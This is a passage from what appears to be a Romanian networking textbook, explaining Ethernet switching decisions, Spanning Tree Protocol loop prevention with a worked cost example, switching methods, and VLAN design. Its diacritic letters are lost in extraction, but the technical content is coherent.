destinaie a cadrului este aceeai cu adresa surs, cadrul este considerat invalid, va fi aruncat,
n plus adresa surs nu va fi folosit pentru popularea tabelei de comutare.
2.2.2 Deciziile de comutare
Care este rolul switchului n comunicaia din interiorul aceluiai segment?
Protocolul Ethernet ofer un mediu de comunicaie partajat, mai exact comunicaia dintre
dou staii este accesibil nivelului legtur de date a oricrei alte staii conectate pe acelai
segment. Pentru fiecare cadru primit de o staie, nivelul legtur de date verific dac aceast
staie este sau nu destinaia. n cazul afirmativ cadrul este pasat nivelului reea, altminteri este
ignorat.
Reeaua din figura de mai jos ilustreaz cazul comunicaiei n interiorul aceluiai segment.
De exemplu, staia A1 vrea s transmit date staiei A2.
Deoarece este vorba despre o reea Ethernet, primul lucru pe care-l face staia A1 este
ascultarea mediului. Dac mediul este liber ncepe transmisia datelor. Cadrul emis de A1 se
propag ctre toate staiile conectate pe acest segment, inclusiv ctre switch. Staia A2 trece
cadrul ctre nivelul reea, staia A3 l ignor. Odat ajuns la switch, cadrul este despachetat i
adresa destinaie este cutat n tabela de comutare a switchului. Switchul decide c
destinaia se afl chiar pe interfaa pe care a primit cadrul. n acest caz switchul ia decizia c
acest cadru nu mai trebuie transmis (filtering), deoarece retransmiterea cadrului ar duce la o
duplicare a acestuia la destinaie.

68 | R e e l e L o c a l e


2-6: Reea segmentat cu switchuri
Cum acioneaz switchul 1 n cazul comunicaiei ntre B1 i B2? Ambele switchuri (dei
recepioneaz cadrele) iau decizia de a nu le mai retransmite.
Dac ambele comunicaii apar simultan (att A1 transmite ctre A2, ct i B1 ctre B2), va
aprea oare o coliziune? Cu siguran c da, dac n loc de switchul 1 ar fi fost folosit un
repetor. n cazul utilizrii unui switch, de vreme ce niciun cadru din comunicaia dintre A1 i A2
nu ajunge pe segmentul B, i niciun cadru din comunicaia dintre B1 i B2 nu ajunge pe
segmentul A, este imposibil s apar o coliziune.
Switchul izoleaz comunicaia unicast ntre staii aflate n acelai segment la nivelul
segmentului.
Consecinele acestui fapt sunt extrem de importante. n primul rnd, switchul mrginete
domeniile de coliziune. Totodat, el ofer mai mult band disponibil, deoarece comunicaia
n interiorul aceluiai segment nu consum din banda disponibil a ntregii reele.
O alt consecin o reprezint minimizarea riscurilor de securitate legate de atacurile din
interiorul reelei locale. De exemplu, unul dintre cele mai populare atacuri este ascultarea
liniei (sniffing attack), prin care se foreaz nivelul legtur de date de pe una dintre staiile
conectate la mediul distribuit s trimit spre nivelurile superioare toate cadrele - inclusiv cele
ce nu sunt destinate acestei staii. Cu ajutorul unor aplicaii dedicate datele sunt reasamblate
i astfel poate fi monitorizat tot traficul ce traverseaz segmentul de reea. Dar, prin folosirea
switchurilor, este posibil ca staiile ce prezint un risc de securitate s fie izolate de restul
reelei.
Care este rolul switchului n comunicaia dintre segmente?
Dac n reeaua din figura precedent este iniiat un trafic ntre staia A1 i B1, staia A1
ncepe prin a asculta mediul i transmite un cadru atunci cnd acesta este liber. Cadrul se
propag spre staiile A2, A3 i spre switchul 1. Staiile ignor cadrul, acesta nefiind adresat lor.
Switchul cut ns adresa destinaie n tabela sa de comutare. Switchul determin interfaa
pe care trebuie trimis cadrul i apoi decide c aceast interfa este diferit de cea pe care
cadrul a fost primit. Astfel, switchul transmite cadrul primit din segmentul A doar pe
segmentul B (forwarding). Switchul este recepionat att de B1, ct i de B2, dar doar B1 l va
prelucra.
2.2.3 Evitarea buclelor de nivel doi STP
Una dintre principalele limitri ale nivelului legtur de date se refer la posibilitatea
asigurrii redundanei. Astfel, pentru nceput va fi analizat impactul redundanei asupra
reelelor formate numai din switchuri.
69 | R e e l e E t h e r n e t

O bucl de nivel legtur de date apare ntr-o reea atunci cnd ntre dou dispozitive ale
acesteia exist dou sau mai multe legturi active, fiecare conexiune folosind doar dispozitive
de interconectare ce pot analiza cel mult informaii de nivel legtur de date.

2-7: Reea n care s-a creat o bucl
Care este efectul apariiei buclelor de nivel legtur de date?
Apariia buclelor de nivel legtur de date este corelat cu faptul c switchurile nu
filtreaz pachetele de difuzare i duc la o depreciere semnificativ a performanelor reelei
prin determinarea unei avalane de difuzri (broadcast storm).
Se consider reeaua din figura de mai sus. Se presupune c staia A trimite un cadru de
difuzare. Switchul 1 nu va gsi adresa destinaie n tabela sa de comutare, astfel nct va
transmite cadrul pe celelalte segmente: segmentul ce conine staia B, segmentul dintre
switchurile 1 i 2 precum i segmentul dintre switchurile 1 i 3. Staia B examineaz cadrul,
decide c i este adresat i l trece spre nivelul legtur de date. Switchul 2 ia decizia de a
transmite cadrul pe toate interfeele sale, cu excepia celei de pe care a primit cadrul. Astfel
apar n reea dou cadre destinate staiei FF.FF.FF.FF.FF.FF, adic dou cadre de difuzare.
Indiferent de ordinea n care acestea ajung la switchul 3, acesta va decide c nu cunoate
adresa destinaie i le va retransmite ctre staia C, dar i ctre celelalte switchuri.
Avalana de difuzri consum din banda util a reelei, ducnd la o micorare a bandei
efective disponibile. O avalan de difuzri se oprete doar n cazul ntreruperii buclei.
Cum poate fi prevenit apariia avalanelor de difuzri?
Soluia trivial este ca switchurile s fie instruite s nu retransmit cadrele de difuzare. Din
pcate acest lucru este imposibil, deoarece o serie de protocoale folosesc cadre de difuzare
pentru a funciona corect, unul dintre acestea fiind chiar ARP - Address Resolution Protocol.
Altfel spus, filtrarea cadrelor de difuzare de ctre switchuri ar presupune rescrierea
protocoalelor fundamentale ce asigur suportul de comunicaie.
Soluia valid se bazeaz pe identificarea buclelor i ntreruperea lor. Protocolul ce
realizeaz aceasta se numete STP - Spanning Tree Protocol, i pornete de la construirea unui
arbore de acoperire pe graful determinat de dispozitivele de interconectare i de conexiunile
dintre acestea.
Sunt problemele de redundan legate exclusiv de cadrele de difuzare?
Cadrele de difuzare sunt principala cauz a deformrii performanelor unei reele cu bucle
de nivel legtur de date. Cu toate acestea, redundana poate duce la nvarea de informaii
false chiar n absena cadrelor de difuzare.
Pentru a vedea comportamentul unei reele redundante n cazul reiniializrii unuia dintre
switchuri, se va considera reeaua din Figura 4-8. Astfel staia A, interfaa e1 din switchul 1
(care va fi notat n continuare S1) i interfaa e3 din switchul 2 (S2) fac parte din acelai
domeniu de coliziune. n mod asemntor staia B, interfaa e6 din S1 i interfaa e8 din S2
partajeaz acelai mediu de comunicaie.
70 | R e e l e L o c a l e


2-8: Reea de switchuri cu o bucl
S1 a fost reiniializat, astfel nct cnd staia A va trimite un cadru destinat staiei B, S1 nu
va gsi nicio informaie n tabela sa de comutare despre B. n acest caz va introduce n tabela
sa de comutare corespondena ntre interfaa sa e1 i adresa MAC a staiei A. n paralel cu
actualizarea tabelei de comutare S1 va trimite cadrul pe toate celelalte interfee n afar de
e1, inclusiv pe interfaa e6. Astfel, cadrul va ajunge att la destinaie, ct i pe interfaa e8 din
S2. S2, tiind c destinaia (staia B) se afl pe acelai segment cu interfaa e8 va ignora cadrul.
Mediu de comunicaie fiind partajat cadrul transmis de A va ajunge att la S1, ct i la S2.
Cadrul primit pe interfaa e3 va fi procesat de S2 i trimis pe interfaa e8. Astfel cadrul va
ajunge nc odat la destinaie, staia B primind dou copii ale aceluiai cadru. n plus cadrul va
ajunge i la switchul 1, care dup ce i va inspecta tabela de comutare, va gsi corespondena
ntre adresa MAC a staiei A i e1. Cadrul semnat cu adresa MAC a staiei A fiind primit pe
interfa e6, switchul consider c informaiile din tabela de comutare sunt alterate i va
invalida aceast intrare, crend apoi o nou intrare ce va conine corespondena ntre adresa
MAC a staiei A i interfaa e6. n plus, cadrul va fi trimis pe toate interfeele n afar de e6,
inclusiv pe e1.
S-a ajuns astfel n situaia n care cadrul de unicast trimis de staia A va fi livrat la
destinaie de un numr nelimitat de ori, n plus tabela switchului 1 tergnd i adugnd
alternativ corespondenele ntre adresa MAC a staiei A i interfeele e1 pe de o parte i
corespondena cu e6 pe de alt parte.
Pn n acest punct s-a argumentat faptul c redundana la nivelul legtur de date
implic asumarea unor riscuri importante. Soluia pentru asigurarea redundanei reelei locale
const n pstrarea redundanei de nivel fizic, dar ntreruperea buclelor de nivel legtur de
date, aceast soluie fiind implementat de STP (Spanning Tree Protocol).
Cum funcioneaz STP?
Funcionarea acestui protocol se bazeaz pe crearea topologiei reelei folosind nite cadre
speciale, numite cadre BPDU (Bridge Protocol Data Unit). Aceste cadre speciale sunt folosite
intens la iniializarea switchurilor; ulterior, la fiecare dou secunde sunt schimbate cadre
BDPU, pentru a verifica dac nu au aprut modificri. Totodat sunt definite cinci stri n care
se poate afla o interfa a switchului: starea blocat, de ascultare, de nvare, de comutare de
cadre i nefuncional (blocking, listening, learning, forwarding, disabled). n starea blocat nu
se accept dect cadre BPDU, n cea de ascultare se primesc i cadre, dar acestea nu sunt
retransmise. n starea de nvare, n plus fa de starea de ascultare, este inspectat adresa
surs a cadrelor primite, permind astfel construirea tabelei de comutare. n starea de
comutare, cadrele primite sunt retransmise, iar tabela de comutare este actualizat. n starea
nefuncional nu sunt acceptate nici cadre BPDU.
Pentru construirea arborelui de acoperire sunt necesare aproximativ 50 de secunde, timp
n care toate porturile switchurilor sunt n starea blocat. Exist trei pai ce trebuie urmai
pentru construirea arborelui de acoperire: mai nti trebuie aleas rdcina arborelui (root
bridge), apoi trebuie alese porturile rdcin, pentru ca n final s fie stabilite porturile active.
71 | R e e l e E t h e r n e t

Prioritatea switchului este o valoare numeric pstrat n memoria nevolatil a fiecrui
switch. Pe baza comparrii prioritilor tuturor switchurilor din reea, este identificat switchul
cu prioritatea cea mai sczut, aceasta devenind rdcina arborelui de acoperire.
Prioritatea switchului are o valoare implicit atribuit de productor, valoare ce poate fi
modificat ulterior. n cazul folosirii mai multor echipamente produse de aceeai firm, se
ntmpl adesea s existe mai multe switchuri cu aceeai prioritate. Cum poate fi stabilit care
dintre dou sau mai multe switchuri cu aceeai prioritate s devin rdcina arborelui? Pe
baza adresei fizice: switchul cu cea mai mic adres fizic devine rdcina arborelui de
acoperire.
Pasul al doilea presupune identificarea cilor redundante dintre fiecare switch i switchul
rdcin, apoi selectarea unei sigure ci ntre respectivul switch i rdcin i, n final,
dezactivarea celorlalte. Pentru aceasta trebuie decis creia dintre cele trei categorii de porturi:
port rdcin (RP), port activ (DP designated ports) sau port inactiv (nondesignated ports
NP) i va aparine fiecare dintre porturile ce particip la STP.
Pentru evaluarea unei ci este calculat costul cii, cost ce este definit ca sum a costurilor
porturilor prin care trece calea. Costul unui port este definit la rndul su n funcie de limea
de band pe care o ofer portul.

Lime de band Cost
4 Mbps 250
10 Mbps 100
16 Mbps 62
45 Mbps 39
100 Mbps 19
155 Mbps 14
622 Mbps 6
1 Gbps 4
10 Gbps 2
2-9: Costul STP n funcie de limea de band
De-a lungul timpului au existat mai multe metode de calcul a costului unui port. Cu civa
ani n urm costul portului pentru switchurile CISCO era determinat mprind 1000 la limea
de band pe care o oferea portul, astfel nct un port Ethernet avea costul 100.
Pentru alegerea porturilor rdcin au prioritate porturile conectate direct la rdcina
arborelui de acoperire. n cazul n care nu exist niciun port cu o conexiune direct spre
switchul rdcin, sau cnd exist mai mult de un singur port cu conexiune direct spre
rdcin, este ales portul care are cel mai sczut cost al cii spre rdcin, urmnd ca acest
port s fie marcat ca port rdcin.
Ultimul pas din construcia arborelui de acoperire presupune determinarea porturilor
active. Un port activ este un port ce trimite i recepioneaz trafic, n vreme ce un port inactiv
este trecut n starea blocat.
Odat stabilite porturile rdcin, trebuie identificate, pe de o parte, conexiunile ce fac
parte dintr-o cale optim ctre switchul rdcin (deci care au la unul dintre capete un port
marcat ca port rdcin), i, pe de alt parte, cele ce nu aparin din arborele de acoperire (deci
conexiunile care trebuie ntrerupte).
n primul caz metoda este evident: toate porturile ce fac parte dintr-o cale optim i nu
sunt deja marcate ca porturi rdcin sunt marcate drept porturi active.
72 | R e e l e L o c a l e

n cel de al doilea caz trebuie fcut o comparaie ntre cele dou porturi ce definesc
conexiunea redundant. Mai nti sunt comparate costurile celor dou porturi; dac acestea
sunt egale, factorul decisiv este identificatorul switchului: portul de pe switchul cu
identificatorul cel mai mic (cu prioritatea cea mai mic sau n cazul n care prioritile sunt
egale, cu adresa MAC cea mai mic) devine port activ, n vreme ce portul cu identificatorul mai
mare este marcat ca inactiv i este trecut n starea blocat.
Fie reeaua din figur. Se vor urmri pentru aceast reea cu dou bucle etapele construirii
arborelui de acoperire.

2-10: Construirea arborelui de acoperire
Prima ntrebare este: care este rdcina arborelui de acoperire? Pentru aceasta sunt
comparate prioritile celor 5 switchuri. n cazul reelei de mai sus pornim de la premisa c
toate switchurile sunt produse de acelai fabricant i n plus sunt abia scoase din cutie. Altfel
spus, toate switchurile au aceeai prioritate. n acest caz trebuie comparate adresele fizice.
Switchul cu adresa MAC cea mai mic este A. Astfel A devine rdcina arborelui de
acoperire.
La pasul al doilea trebuie stabilite pentru restul switchurilor costurile porturilor ce ofer
ci spre switchul rdcin. Pentru o legtur Ethernet costul e 100, pentru una FastEthernet e
19, iar pentru una GigaEthernet e 4; prin urmare:
B-Root: 19
B-C-D-Root: 42
B-C-D-E-B-Root: 176
C-B-Root: 38
C-D-Root: 23
C-D-E-B-Root: 157
D-Root: 4
D-C-B-Root: 57
D-E-B-Root: 138
E-B-Root: 119
E-D-Root: 23
E-D-C-B-Root: 76
73 | R e e l e E t h e r n e t

Conexiunile ce fac parte din arborele de acoperire sunt: B-A, C-D-A, D-A i E-D-A, astfel
sunt marcate drept porturi rdcin cele patru porturi corespunztoare acestor conexiuni (de
pe switchul B portul ce face parte din legtura B-A, etc.)
n pasul al treilea trebuie stabilite porturile active pentru legturile B-E i B-C.
Pentru conexiunea B-E, costul portului de pe switchul B este 19, n vreme ce costul
portului de pe E este 23. Prin urmare portul de pe B va fi marcat ca port activ, iar portul de pe
E va fi marcat ca non-designated sau inactiv. n mod similar, pentru conexiunea B-C, portul de
pe switchul B va fi activ, avnd un cost de 19, iar portul de pe C va fi trecut n starea blocat,
fiind un port non-designated.

2-11: Configuraia final
2.2.4 Metode de comutare
Exist dou metode de comutare a pachetelor: comutare direct (cut through) i
comutare dup stocare (store and forward).
Metoda de comutare dup stocare se bazeaz pe recepionarea ntregului cadru nainte
de a ncepe retransmisia acestuia. Latena acestei metode crete odat cu dimensiunea
cmpului de date. Cu toate acestea, performanele metodei de comutare dup stocare pot fi
superioare celor oferite de comutarea direct, mai ales n cazul liniilor expuse unor
interferene puternice. Mecanismele de detecie a erorilor pe care le ofer aceast metod
permit asigurarea unei conexiuni sigure la nivelul legtur de date.
Metoda de comutare dup stocare pune i problema asigurrii memoriei pentru stocarea
cadrelor. Fie exemplul unui switch cu 24 de porturi. Acesta trebuie s poat gestiona 12
comunicaii simultane, care n cel mai defavorabil caz posibil vor transfera cadre de lungime
maxim. Se ajunge astfel la o dimensionare a memoriei RAM necesar pentru stocarea
cadrelor de aproape 18 kB. Dei dimensionarea memoriei RAM folosite pentru stocarea
cadrelor nu este principalul factor de stabilire a preului unui switch, nu trebuie omis faptul c
preurile pentru memoriile dispozitivelor dedicate sunt de cteva ori mai ridicate dect cele
pentru memoriile folosite n calculatoarele personale.
Comutarea direct presupune ca dispozitivul de interconectare s nceap transmiterea
cadrului pe portul destinaie imediat ce adresa destinaie a fost trecut prin tabela de
comutare i interfaa de plecare a fost determinat. Cel mai adesea se ntmpl ca transmisia
cadrului s nceap nainte de recepionarea integral a cadrului. Astfel switchul primete pe
una dintre interfee octei ce compun cadrul, transmind n acelai timp pe portul destinaie
octeii din acelai cadru primii mai devreme.
B
P
1
9
B
P
R
P
R
P
B
P
D
P
74 | R e e l e L o c a l e

Pentru comutarea direct nu este necesar nici mcar recepionarea integral a antetului
cadrului, adresa destinaie fiind suficient. Aceast metod se numete comutare direct
rapid (fast forward) i ofer o laten de aproximativ 21 de microsecunde. Datorit faptului
c retransmisia cadrului ncepe imediat dup citirea adresei destinaie, cadrele eronate vor fi
transmise cu erori. Dei aceste cadre sunt respinse la nivelul legtur de date al destinaiei (de
ctre placa de reea), traficul generat de retransmisia lor poate, n cazul unui mediu de
transmisie cu multe erori, s duc la o depreciere sever a performanelor reelei.
Al doilea tip de comutare direct este comutarea fr fragmente (fragment free). n
aceast metod de comutare fragmentele de cadre rezultate n urma unei coliziuni sunt
filtrate. ntr-o reea ce respect specificaiile standardului Ethernet dimensiunea fragmentelor
de coliziuni nu poate depi 64 de octei. n cazul comutrii fr fragmente, switchul decide c
irul de octei recepionai nu face parte dintr-un fragment rezultat n urma unei coliziuni i
abia apoi ncepe retransmisia pe portul destinaie. Latena n acest caz este de minim 51,2
microsecunde, timpul necesar recepionrii a 64 de octei.
2.2.5 Switch vs. Bridge
Care sunt diferenele dintre un switch i un bridge?
Cele mai importante dou diferene dintre un switch i un bridge se refer la metodele de
comutare oferite i la proiectarea backplain-ului.
Fa de bridge-uri, switchurile implementeaz n general metode de comutare mai rapide.
n general bridge-urile, dei nu sunt interesate de detecia unui numr ct mai mare de erori,
implementeaz doar comutarea dup stocare. Aceast practic este explicabil mai degrab
prin raiuni istorice, nefiind rezultatul unei decizii de optimizare a traficului n reea.
Cea de a doua diferen se refer la capacitatea switchurilor de a permite mai multe
comunicaii simultane, fr a scdea limea de band alocat fiecreia dintre conexiuni. Spre
deosebire de un switch, o punte va avea o capacitate de comutare intern (backplain)
aproximativ egal cu viteza porturilor. Altfel spus, n cazul unui bridge cu 4 porturi de 10 Mbps,
pentru o singur conexiune limea de band disponibil va fi de 10 Mbps, dar n cazul iniierii
a dou conexiuni simultane (staia de pe portul 1 comunic cu cea de pe portul 3 i n acelai
timp staia de pe portul 2 comunic cu cea de pe portul 4), fiecare dintre cele dou conexiuni
va avea o band disponibil de 5 Mbps.
Cele dou diferene dintre switchuri i bridge-uri sunt n fapt avantaje importante ale
switchurilor, iar preul unui switch este foarte apropiat de cel al unui bridge. Cu toate acestea
se mai produc bridge-uri i n ziua de azi.
Exist un caz n care cele dou avantaje ale switchurilor i pierd relevana. Este vorba
despre interconectarea a dou reele ce folosesc protocoale de nivel 2 diferite. n acest caz
singura metod de comutare posibil este store-and-forward, deoarece cel mai adesea cadrele
trebuie rempachetate, datorit diferenelor de dimensiune maxim a cadrului, dar i datorit
diferenelor de format a antetelor. n plus, pentru interconectarea a dou reele cu protocol
de nivel legtur de date diferit se folosete n general un dispozitiv dedicat, astfel nct
backplain-ul dispozitivului s nu trebuiasc s fac fa la mai mult de o conexiune la un
moment dat.
Crui fapt i se datoreaz variaia de pre ntre switchuri?
Numrul de porturi este unul din factorii ce determin preul unui switch. Exist un cost
mediu pe port, acest cost variind n funcie de vitez i de productor. De exemplu, costul
pentru un port Ethernet se situeaz ntre 8 i 10 $.
Pe de alt parte, datorit numrului mare de servicii pe care le poate oferi un switch, de la
simpla comutare de pachete pn la rularea STP sau chiar a SNMP, preurile switchurilor
75 | R e e l e E t h e r n e t

variaz extrem de mult. Astfel, dac un switch cu 8 porturi fr nicio facilitate suplimentar
poate s coste sub 100$, un switch aparinnd aceluiai productor, dar oferind un
management avansat i posibilitatea inserrii de noi module poate s ajung la 2000$.
2.3 Reele locale virtuale
Dup cum s-a vzut n seciunea anterioar, folosirea switchurilor ntr-o reea Ethernet are
ca efect segmentarea acesteia n domenii de coliziune individuale, neavnd niciun efect asupra
domeniului de difuzare. Acest lucru nseamn c toate nodurile din reea pot s vad
broadcast-ul trimis de un nod al unui segment.
O caracteristic important a comutrii n reelele Ethernet o reprezint abilitatea de a
crea LAN-uri virtuale (VLAN Virtual LAN). Conceptul de reea virtual a fost standardizat de
ctre comitetul 802 (IEEE), fiind utilizat n ziua de azi de multe organizaii. Un VLAN reprezint
o grupare logic a staiilor/utilizatorilor i echipamentelor de reea, fr nicio restricie asupra
segmentului fizic din care fac parte. VLAN-urile segmenteaz o reea comutat, innd seama
de organizarea n echipe de lucru sau de aplicaii i nu de criterii geografice. Altfel spus, o
reea local virtual poate fi privit ca un domeniu logic de broadcast definit de o mulime de
switchuri.
Traficul ntre VLAN-uri este restricionat. Switchurile transmit trafic de tip unicast,
multicast i broadcast numai pe segmentele de reea ce fac parte din VLAN-ul de care aparin.
Cu alte cuvinte nodurile dintr-un VLAN comunic numai cu nodurile din acelai VLAN. Pentru
comunicare ntre VLAN-uri diferite este nevoie de un dispozitiv de nivel trei, i anume un
router.
De ce este nevoie de VLAN-uri?
Marele avantaj obinut prin introducerea switchurilor ntr-o reea Ethernet const n
crearea domeniilor de coliziune independente pentru fiecare port al switchului. Dar, cu fiecare
pas, apar noi probleme cu ct sunt mai muli utilizatori i/sau mai multe switchuri, cu att
numrul broadcast-urilor va fi mai mare. Altfel spus, pe msur ce din ce n ce mai multe
reele locale sunt interconectate, numrul cadrelor de broadcast recepionate de fiecare staie
tinde s creasc liniar cu numrul de staii.

2-12: Topologie cu trei domenii de broadcast
Toate echipamentele dintr-un VLAN sunt membre ale aceluiai domeniu de broadcast,
recepionnd astfel toate broadcast-urile. Toate cadrele de broadcast sunt filtrate de toate
76 | R e e l e L o c a l e

porturile unui switch ce nu sunt n VLAN-ul respectiv. Acesta este un avantaj deoarece ofer
toate beneficiile pe care le ofer o reea comutat, dar fr dezavantajele de a avea toi
utilizatorii ntr-un singur domeniu de broadcast. Cu ajutorul VLAN-urilor putem controla uor
mrimea domeniilor de broadcast prin: controlul dimensiunii totale a VLAN-urilor sale;
restricionarea numrului de porturi pe switch n cadrul unui VLAN; restricionarea numrului
de utilizatori ce folosesc aceste porturi.
O alt problem o reprezint securitatea. n cadrul unei reele Ethernet comutate toate
staiile pot vedea toate celelalte staii i nu exist o politic de oprire a broadcast-urilor trimise
de staii sau de oprire a rspunsurilor utilizatorilor la ele. Orice plac de reea poate fi setat
ntr-un mod transparent (promiscuous), copiind tot traficul ce sosete pe canalul de
comunicaie.
Astfel, prin crearea VLAN-urilor i a domeniilor de broadcast separate, administratorii pot
avea control asupra fiecrui port i asupra fiecrui utilizator. Zilele cnd utilizatorii puteau s
se conecteze cnd doreau cu staia aflat la oricare din porturile unui switch, obinnd acces la
resurse, ar trebui s fie istorie demult, deoarece administratorul are controlul asupra
porturilor i asupra resurselor ce se pot accesa prin acele porturi. Dei VLAN-urile sunt create
n concordant cu resursele de care un utilizator are nevoie, switchurile pot fi configurate s
informeze staiile de management n legtur cu orice acces neautorizat sesizat. Iar dac se
dorete i comunicare ntre VLAN-uri se pot implementa restricii pe router pentru a obine un
nivel nalt de securitate.
VLAN-urile ofer un grad mare de flexibilitate i scalabilitate. Prin implementarea lor se
creeaz domenii de broadcast mai mici. Asta nseamn c broadcast-urile trimise de un nod
dintr-un VLAN nu vor ajunge pe porturile configurate n alt VLAN. Aa c, prin atribuirea
porturilor sau utilizatorilor unui VLAN pe un switch, se ctig flexibilitatea de a aduga numai
pe acei utilizatori pe care i dorim n domeniul de broadcast respectiv. Aceast abordare poate
funciona i pentru blocarea broadcast storm-urilor cauzate de o plac de reea defect, ct i
pentru prevenirea unui echipament intermediar de a le propaga n toat reeaua. Aceste
broadcast storm-uri se pot ntmpla i n cadrul unui VLAN, dar ele vor fi reduse numai la
VLAN-ul din care au pornit.
VLAN-urile impun o mai mare scalabilitate ntr-o reea comutat. Cnd un VLAN devine
prea mare, se pot crea alte VLAN-uri, oprind astfel broadcast-urile s afecteze limea de
band a reelei cu ct sunt mai puini utilizatori ntr-un VLAN, cu att numrul broadcast-
urilor este mai mic. Trebuie ns inut cont n mod special, cnd este vorba de proiectarea unei
reele cu VLAN-uri, de serviciile disponibile n reea i trebuie neles mecanismul conectrii
utilizatorilor la aceste resurse.
Un alt avantaj pe care l ofer VLAN-urile este impactul sporit asupra performanei reelei.
Putem grupa utilizatorii ce folosesc aplicaii intensive de reea ntr-un VLAN separat. De
exemplu, putem crea un VLAN separat pentru un tehnician ce testeaz o aplicaie multicast i
pentru serverele pe care acesta le folosete. Acesta se va bucura de timpi de rspuns foarte
buni din partea resurselor pe care le utilizeaz, fiind ntr-un LAN dedicat, n timp ce ntregul
departament tehnic nu i va mai exprima nemulumirea n legtura cu scderea ratei de
transfer a filmului pe care ateapt s l downloadeze, deoarece ntreaga aplicaie este izolat
ntr-un VLAN separat.
VLAN-urile uureaz gestionarea migraiilor, adugrilor i a schimbrilor din reea
network management. Prin intermediul software-ului de pe switch se pot aduga utilizatori
ntr-un VLAN, iar mai trziu li se poate schimba apartena ntr-un altul. Recablarea pentru
asigurarea conectivitii nu mai este necesar ntr-o reea comutat deoarece tool-urile de
management ale reelei permit reconfigurarea logic a sa n doar cteva secunde.
77 | R e e l e E t h e r n e t


2-13: VLAN segmentat pe departamente
Figura de mai jos arat cum ase VLAN-uri (numerotate de la 2 la 7) au fost folosite pentru
a crea un domeniu de broadcast pentru fiecare departament. Fiecrui port al switchului i este
atribuit cte un VLAN, depinznd de staia i domeniul de broadcast n care trebuie s fie
aceasta.
Acum dac se dorete adugarea unei noi staii n VLAN-ul de Vnzri (VLAN 7), se atribuie
portul respectiv VLAN-ului 7, indiferent de locaia fizic a noului utilizator. Aceasta ilustreaz
unul dintre avantajele importante ale proiectrii unei reele cu VLAN-uri, i anume reflectarea
structurii organizatorice mai degrab dect a structurii fizice.

2-14: Utilizarea VLAN-urilor








Marketing VLAN2 172.16.2.0/24
Distribuie VLAN3 172.16.3.0/24
Tehnic VLAN4 172.16.4.0/24
Finane VLAN5 172.16.5.0/24
Management VLAN6 172.16.6.0/24
Vnzri VLAN7 172.16.7.0/24

78 | R e e l e L o c a l e

De remarcat faptul c n figur VLAN-urile ncep s fie numerotate de la VLAN 2. Oricum
numrul este irelevant, dar ce s-a ntmplat cu VLAN 1? Acest VLAN este un VLAN
administrativ, recomandndu-se a fi folosit n acest scop. VLAN 1 nu poate fi ters sau
modificat i implicit, toate porturile de pe un switch fac parte din acest VLAN, pn la o nou
atribuire.
Fiecare VLAN fiind considerat un domeniu de broadcast separat, trebuie s aib un numr
de reea, prin care este identificat. Fiecare staie dintr-un VLAN nu poate comunica dect cu o
staie din VLAN-ul respectiv, astfel c, pentru comunicaia ntre VLAN-uri, este necesar un
router sau un dispozitiv de nivel 3, aa c nu e de ateptat ca routerele s dispar prea curnd!
Implementarea unui VLAN pe un switch implic urmtoarele aciuni:
switchul menine o tabel de comutare separat pentru fiecare VLAN;
dac un cadru ajunge la switch pe portul ce se afl ntr-un VLAN oarecare, switchul caut
tabela de comutare pentru VLAN-ul respectiv;
cnd cadrul este primit, switchul adaug n tabela de comutare adresa surs a cadrului
recepionat dac aceasta este necunoscut;
switchul caut destinaia pentru a ti ce decizie trebuie s ia;
pentru partea de learning i forwarding, cutarea este fcut n tabela de comutare a VLAN-
ului respectiv.
2.3.1 Tipuri de VLAN-uri
VLAN-urile sunt de obicei create manual de ctre un administrator, ce atribuie apoi
porturilor de pe switch cte un VLAN. Aceste VLAN-uri se numesc VLAN-uri statice. VLAN-urile
statice sunt cele mai des folosite n ziua de azi, avnd numeroase avantaje cum ar fi:
securitatea ridicat, uurina de configurare, simplitatea monitorizrii, funcionarea bun n
reele n care aciunile sunt controlate i administrate. Porturile i menin configuraiile VLAN
atribuite pn cnd acestea sunt schimbate manual. Cnd o staie este conectat la un port al
switchului, aceasta va face parte din VLAN-ul configurat pe portul respectiv.
n figura de mai sus, fiecare port al switchurilor a fost configurat manual cu cte un VLAN,
n funcie de VLAN-ul n care fiecare staie trebuia s se afle locaia fizica a staiei nu
conteaz. De amintit faptul c fiecare staie trebuie s aib o adres logic (de nivel trei)
consistent. De exemplu, fiecare staie ce aparine VLAN-ului 2 trebuie configurat cu o adres
IP din reeaua 172.16.2.0/24. De reinut faptul c nainte de a conecta o staie ntr-un port al
unui switch, trebuie verificat configuraia portului, pentru a verifica din ce VLAN face parte.
Dac VLAN-ul respectiv este diferit fa de VLAN-ul n care trebuia staia s se afle, atunci
staia va ntmpina probleme de accesare a resurselor locale VLAN-ului.
VLAN-urile dinamice determin apartenena unui nod la un VLAN automat, folosind
managementul centralizat al aplicaiilor pe VLAN-uri. Dei administrarea este mai simpl n
centrele de cablare (wiring closet), VLAN-urile dinamice sunt mai rar folosite dect cele statice.
Apartenena la un VLAN dinamic se bazeaz pe adresa fizic (MAC), adresa logic sau tipul de
protocol.
De exemplu, se poate presupune c adresele fizice au fost introduse corect ntr-o baz de
date, ce conine corespondene <adresa MAC VLAN> i se afl pe un server de configurat
VLAN-uri. Dac un nod este ataat unui port de pe switch, neconfigurat n niciun VLAN, se va
cuta n baza de date adresa MAC a nodului i dac aceasta va fi gsit, portul n care a fost
conectat nodul va fi configurat i i se va atribui VLAN-ul respectiv. Sistemul dispune i de un
mecanism de semnalizare cnd un utilizator necunoscut se adaug la reea (adresa MAC nu
este configurat pe server).
79 | R e e l e E t h e r n e t

2.3.2 Legturi acces/trunchi
Switchurile ntr-o reea Ethernet trebuie s gestioneze toate tipurile de cadre i, n plus, s
neleag ce s fac cu acestea, bazndu-se pe adresa MAC. Tehnologia pus la dispoziie de
VLAN-uri ofer posibilitatea gruprii porturilor i a utilizatorilor n grupuri logice, grupare ce
implic folosirea mai multor switchuri, partajarea aceleiai cldiri sau a mai multor cldiri sau
chiar WAN-uri. Pentru orice arhitectur VLAN, important este posibilitatea transferului de
informaie ntre staii, switchuri i routere.
Exist dou tipuri de legturi ntr-o reea bazat pe switchuri Ethernet: legturi de acces i
legturi de trunchi.
O legtur de acces reprezint o legtur pe switchul ce este membru ntr-un singur VLAN
i este denumit VLAN-ul nativ al portului. Orice nod conectat printr-o legtur de acces nu
este contient de apartenena sa la vreun VLAN nodul presupune c face parte dintr-un
domeniu de broadcast, necunoscnd aspectul fizic al reelei.
Switchurile nltur orice informaie despre VLAN-uri, ce ar putea fi coninut ntr-un
cadru, nainte ca acesta s fie pus pe o legtur de acces. Staiile de pe legturile de acces nu
pot comunica cu staiile din alt VLAN, comunicarea realizndu-se numai dac pachetul este
